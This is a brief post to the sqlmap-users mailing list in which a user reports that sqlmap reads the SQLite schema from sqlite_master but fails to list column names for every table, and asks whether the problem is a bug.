[sqlmap-users] Error with Sqlite

[Gerardo I. G. <igl...@gm...>]

When trying to enumerate columns names from a table (-T tablename
--columns) sqlmap successfully retrieves the schema from sqlite_master,
however it fails on identifying the columns names. I get the next output:

The same happens with every table in the DB.

Is this some bug in sqlmap or something exceptional with the DB.
